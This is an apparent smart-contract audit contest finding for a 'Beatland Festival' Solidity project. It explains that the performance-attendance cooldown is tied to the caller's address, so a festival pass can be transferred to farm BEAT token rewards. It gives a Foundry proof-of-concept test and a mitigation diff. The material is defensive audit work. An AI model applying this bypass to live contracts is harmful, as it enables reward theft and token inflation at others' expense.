Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[S-2] cooldown bypass via pass transfer allows unlimited performance attendance (cooldown bypass + unlimited rewards)

Root + Impact

Description

  • The cooldown mechanism prevents users from attending multiple performances within 1 hour by tracking the last check-in time per address in the lastCheckIn mapping.

  • The cooldown check is tied to msg.sender rather than the pass itself, allowing users to transfer passes to fresh addresses and immediately attend new performances without waiting for cooldown.

function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
@> require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
@> lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • Users will transfer passes to accomplices or secondary addresses to bypass cooldown restrictions during active festival periods

  • The vulnerability becomes immediately exploitable when multiple performances are running simultaneously

Impact:

  • Complete bypass of cooldown protection allowing unlimited BEAT token farming

  • Economic model collapse due to excessive token inflation from rapid performance attendance

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract CooldownBypassTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public attacker;
address public accomplice;
uint256 constant GENERAL_PRICE = 0.05 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
accomplice = makeAddr("accomplice");
// Deploy contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
// Configure passes
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 100);
// Fund users
vm.deal(attacker, 10 ether);
vm.deal(accomplice, 10 ether);
}
function test_CooldownBypassWithTransfer() public {
// Attacker buys pass
vm.prank(attacker);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
// Create two performances
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
vm.stopPrank();
// Attend first performance
vm.warp(block.timestamp + 90 minutes);
vm.prank(attacker);
festivalPass.attendPerformance(perf1);
// Transfer pass to accomplice
vm.prank(attacker);
festivalPass.safeTransferFrom(attacker, accomplice, 1, 1, "");
// Accomplice bypasses cooldown and attends immediately
vm.prank(accomplice);
festivalPass.attendPerformance(perf2);
assertEq(beatToken.balanceOf(accomplice), 100e18);
}
}

Recommended Mitigation

+ mapping(uint256 => uint256) public passLastCheckIn; // passId => last check-in time
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
- require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
+ uint256 userPassId = getUserPassId(msg.sender); // Helper function to get user's pass ID
+ require(block.timestamp >= passLastCheckIn[userPassId] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
- lastCheckIn[msg.sender] = block.timestamp;
+ passLastCheckIn[userPassId] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.